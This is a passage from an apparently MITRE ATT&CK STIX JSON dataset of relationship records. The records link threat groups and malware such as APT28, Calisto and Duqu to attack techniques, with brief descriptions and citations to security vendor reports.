                    "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2021-01-13T21:54:29.973Z",
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        {
            "id": "relationship--fe56443a-5f0b-4120-9d27-d4d98aae69b8",
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            "description": "[Calisto](https://attack.mitre.org/software/S0274) adds permissions and remote logins to all users.(Citation: Symantec Calisto July 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Calisto July 2018",
                    "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.",
                    "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days"
                }
            ],
            "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
            "type": "relationship",
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            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060)'s MSGET downloader uses a dead drop resolver to access malicious payloads.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
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                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
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            ],
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            "type": "relationship",
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            "description": "To establish persistence, [SslMM](https://attack.mitre.org/software/S0058) identifies the Start Menu Startup directory and drops a link to its own executable disguised as an \u201cOffice Start,\u201d \u201cYahoo Talk,\u201d \u201cMSN Gaming Z0ne,\u201d or \u201cMSN Talk\u201d shortcut.(Citation: Baumgartner Naikon 2015)",
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            ],
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                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
                }
            ],
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            "source_ref": "course-of-action--2497ac92-e751-4391-82c6-1b86e34d0294",
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            "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
            "type": "relationship",
            "modified": "2021-04-22T20:21:10.696Z",
            "created": "2017-05-31T21:33:27.019Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) has used COM hijacking to establish persistence by hijacking a class named MMDeviceEnumerator and also by registering the payload as a Shell Icon Overlay handler COM object ({3543619C-D563-43f7-95EA-4DA7E1CC396A}).(Citation: ESET Sednit Part 1)(Citation: Talos Seduploader Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 1",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf"
                },
                {
                    "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html",
                    "source_name": "Talos Seduploader Oct 2017"
                }
            ],
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            "target_ref": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
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        },
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            "description": "[Dok](https://attack.mitre.org/software/S0281) installs a root certificate to aid in man-in-the-middle actions.(Citation: objsee mac malware 2017)",
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            ],
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
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            "relationship_type": "uses",
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            "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) uses mshta.exe to load its program and files.(Citation: fsecure NanHaiShu July 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "fsecure NanHaiShu July 2016",
                    "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade",
            "type": "relationship",
            "modified": "2020-03-17T01:53:17.425Z",
            "created": "2018-10-17T00:14:20.652Z"
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            "description": "[JPIN](https://attack.mitre.org/software/S0201) can list running processes.(Citation: Microsoft PLATINUM April 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
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            ],
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            "relationship_type": "uses",
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            "description": "[APT28](https://attack.mitre.org/groups/G0007) has collected information from Microsoft SharePoint services within target networks.(Citation: RSAC 2015 Abu Dhabi Stefano Maccaglia)",
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                {
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                    "description": "Maccaglia, S. (2015, November 4). Evolving Threats: dissection of a CyberEspionage attack. Retrieved April 4, 2018.",
                    "source_name": "RSAC 2015 Abu Dhabi Stefano Maccaglia"
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            ],
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            "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) launches a script to delete their original decoy file to cover tracks.(Citation: fsecure NanHaiShu July 2016)",
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                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/",
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                    "source_name": "Alperovitch 2014"
                }
            ],
            "description": "(Citation: Alperovitch 2014)",
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            "description": "[APT37](https://attack.mitre.org/groups/G0067) has used an audio capturing utility known as SOUNDWAVE that captures microphone input.(Citation: FireEye APT37 Feb 2018)",
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            ],
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                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
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            "type": "relationship",
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            "description": "[Kazuar](https://attack.mitre.org/software/S0265) gathers information about opened windows.(Citation: Unit 42 Kazuar May 2017)",
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            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830",
            "type": "relationship",
            "modified": "2019-04-24T15:26:03.583Z",
            "created": "2018-10-17T00:14:20.652Z"
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        {
            "id": "relationship--c18652f6-e25c-4e01-bec2-04204a50cf23",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can delete all files on the C:\\, D:\\, E:\\ and, F:\\ drives using [PowerShell](https://attack.mitre.org/techniques/T1059/001) Remove-Item commands.(Citation: FireEye MuddyWater Mar 2018)",
            "object_marking_refs": [
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            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                }
            ],
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-31T22:21:47.653Z",
            "created": "2018-04-18T17:59:24.739Z"
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            "source_ref": "course-of-action--94927849-03e3-4a07-8f4c-9ee21b626719",
            "relationship_type": "mitigates",
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            "type": "relationship",
            "modified": "2020-01-15T18:02:50.122Z",
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        {
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            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used [BITSAdmin](https://attack.mitre.org/software/S0190) to download additional tools.(Citation: FireEye Periscope March 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7",
            "type": "relationship",
            "modified": "2019-09-23T13:20:27.362Z",
            "created": "2018-04-18T17:59:24.739Z"
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        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Suckfly](https://attack.mitre.org/groups/G0039) the victim's internal network for hosts with ports 8080, 5900, and 40 open.(Citation: Symantec Suckfly May 2016)",
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            ],
            "external_references": [
                {
                    "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks",
                    "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.",
                    "source_name": "Symantec Suckfly May 2016"
                }
            ],
            "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "type": "relationship",
            "modified": "2019-03-25T16:59:47.237Z",
            "created": "2017-05-31T21:33:27.075Z"
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        {
            "id": "relationship--d54a98b2-8023-43ac-8577-53796b1efa55",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has created new services to establish persistence.(Citation: Group IB Cobalt Aug 2017)",
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            ],
            "external_references": [
                {
                    "url": "https://www.group-ib.com/blog/cobalt",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "source_name": "Group IB Cobalt Aug 2017"
                }
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2019-07-26T23:38:33.624Z",
            "created": "2018-10-17T00:14:20.652Z"
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            "id": "relationship--c3dd754d-3e2b-4761-8d21-2e7a52fc6616",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used remote code execution to download subsequent payloads.(Citation: FireEye Fin8 May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html",
                    "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.",
                    "source_name": "FireEye Fin8 May 2016"
                }
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-03-22T20:21:57.627Z",
            "created": "2018-04-18T17:59:24.739Z"
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        {
            "id": "relationship--6a1693a7-1e85-48b6-9097-11339a987099",
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            "description": "After re-establishing access to a victim network, [Threat Group-3390](https://attack.mitre.org/groups/G0027) actors download tools including [gsecdump](https://attack.mitre.org/software/S0008) and WCE that are staged temporarily on websites that were previously compromised but never used.(Citation: Dell TG-3390)",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-07-14T21:15:54.914Z",
            "created": "2017-05-31T21:33:27.062Z"
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        {
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            "description": "Once a removable media device is inserted back into the first victim, [USBStealer](https://attack.mitre.org/software/S0136) collects data from it that was exfiltrated from a second victim.(Citation: ESET Sednit USBStealer 2014)(Citation: Kaspersky Sofacy)",
            "object_marking_refs": [
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            "external_references": [
                {
                    "source_name": "ESET Sednit USBStealer 2014",
                    "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.",
                    "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"
                },
                {
                    "source_name": "Kaspersky Sofacy",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                }
            ],
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        },
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            "description": "[Sowbug](https://attack.mitre.org/groups/G0054) has used credential dumping tools.(Citation: Symantec Sowbug Nov 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
                    "source_name": "Symantec Sowbug Nov 2017"
                }
            ],
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            "modified": "2019-03-25T16:57:02.775Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used ping to identify other machines of interest.(Citation: Alperovitch 2014)",
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                {
                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/",
                    "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
                    "source_name": "Alperovitch 2014"
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            ],
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            "type": "relationship",
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        {
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            "description": "An [APT19](https://attack.mitre.org/groups/G0073) HTTP malware variant used Base64 to encode communications to the C2 server.(Citation: Unit 42 C0d0so0 Jan 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                    "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.",
                    "source_name": "Unit 42 C0d0so0 Jan 2016"
                }
            ],
            "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
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            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used RAR to compress, encrypt, and password-protect files prior to exfiltration.(Citation: SecureWorks BRONZE UNION June 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6",
            "type": "relationship",
            "modified": "2020-03-30T02:47:04.653Z",
            "created": "2017-05-31T21:33:27.062Z"
        },
        {
            "id": "relationship--7d020981-51b3-4ff6-825f-7cd192c934e1",
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            "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) can inject a malicious DLL into a process.(Citation: FireEye Poison Ivy)(Citation: Symantec Darkmoon Aug 2005)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Poison Ivy",
                    "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf"
                },
                {
                    "source_name": "Symantec Darkmoon Aug 2005",
                    "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"
                }
            ],
            "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
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            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "relationship",
            "modified": "2020-03-16T16:57:13.351Z",
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            "description": "[Thrip](https://attack.mitre.org/groups/G0076) used a cloud-based remote access software called LogMeIn for their attacks.(Citation: Symantec Thrip June 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets",
                    "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.",
                    "source_name": "Symantec Thrip June 2018"
                }
            ],
            "source_ref": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7",
            "type": "relationship",
            "modified": "2019-03-25T17:06:37.138Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--9aeda7e2-e452-4cd3-837f-e258cba1fc96",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Part of [APT28](https://attack.mitre.org/groups/G0007)'s operation involved using [CHOPSTICK](https://attack.mitre.org/software/S0023) modules to copy itself to air-gapped machines and using files written to USB sticks to transfer data and command traffic.(Citation: FireEye APT28)(Citation: Microsoft SIR Vol 19)",
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            ],
            "external_references": [
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                },
                {
                    "source_name": "Microsoft SIR Vol 19",
                    "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.",
                    "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf"
                }
            ],
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            "relationship_type": "uses",
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            "modified": "2019-05-14T17:10:21.853Z",
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            "description": "Some [Daserf](https://attack.mitre.org/software/S0187) samples were signed with a stolen digital certificate.(Citation: Symantec Tick Apr 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Tick Apr 2016",
                    "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"
                }
            ],
            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "type": "relationship",
            "modified": "2020-03-16T16:40:40.349Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used several tools for retrieving login and password information, including LaZagne and Mimikatz.(Citation: Symantec Leafminer July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east",
                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "source_name": "Symantec Leafminer July 2018"
                }
            ],
            "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "type": "relationship",
            "modified": "2020-03-19T23:18:35.497Z",
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            "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can create a .lnk file and add a Registry Run key to establish persistence.(Citation: Unit 42 Gorgon Group Aug 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Gorgon Group Aug 2018",
                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
                }
            ],
            "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "type": "relationship",
            "modified": "2019-07-25T14:56:46.661Z",
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        {
            "id": "relationship--24503815-4ac5-4d57-9e95-ebeb84e0c11b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Daserf](https://attack.mitre.org/software/S0187) can download remote files.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Trend Micro Daserf Nov 2017",
                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
                },
                {
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
                }
            ],
            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-16T16:40:40.353Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--324a5331-cce7-4154-a803-ad68d5de1f94",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2",
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "(Citation: Mandiant APT1)",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.416Z",
            "created": "2017-05-31T21:33:27.036Z"
        },
        {
            "id": "relationship--1fda6ff7-a344-4bc3-b545-4083cc15290d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has commands to get information about the victim's name, build, version, serial number, and memory usage.(Citation: Volexity PowerDuke November 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
                }
            ],
            "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-04-22T22:31:38.315Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--05e05236-1635-48d7-8ee3-33319c01c815",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) used a rootkit to modify typical server functionality.(Citation: Kaspersky Winnti April 2013)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/winnti-more-than-just-a-game/37029/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.",
                    "source_name": "Kaspersky Winnti April 2013"
                }
            ],
            "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
            "type": "relationship",
            "modified": "2019-03-25T17:15:03.447Z",
            "created": "2017-05-31T21:33:27.079Z"
        },
        {
            "id": "relationship--cfa19bf2-af5e-4050-a3d9-fbd9684b867e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Calisto](https://attack.mitre.org/software/S0274)'s installation file is an unsigned DMG image under the guise of Intego\u2019s security solution for mac.(Citation: Securelist Calisto July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Calisto July 2018",
                    "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.",
                    "url": "https://securelist.com/calisto-trojan-for-macos/86543/"
                }
            ],
            "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-17T23:36:02.771Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--7cac6ccb-d070-47da-8ebf-4034b0fddb7c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) can gather very specific information about attached USB devices, to include device instance ID and drive geometry.(Citation: Securelist BlackEnergy Nov 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist BlackEnergy Nov 2014",
                    "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                }
            ],
            "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
            "type": "relationship",
            "modified": "2019-06-24T17:08:51.630Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4ac3f9d6-73e6-49d0-a49a-329eca1f5a3a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Duqu](https://attack.mitre.org/software/S0038) uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols.(Citation: Symantec W32.Duqu)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf",
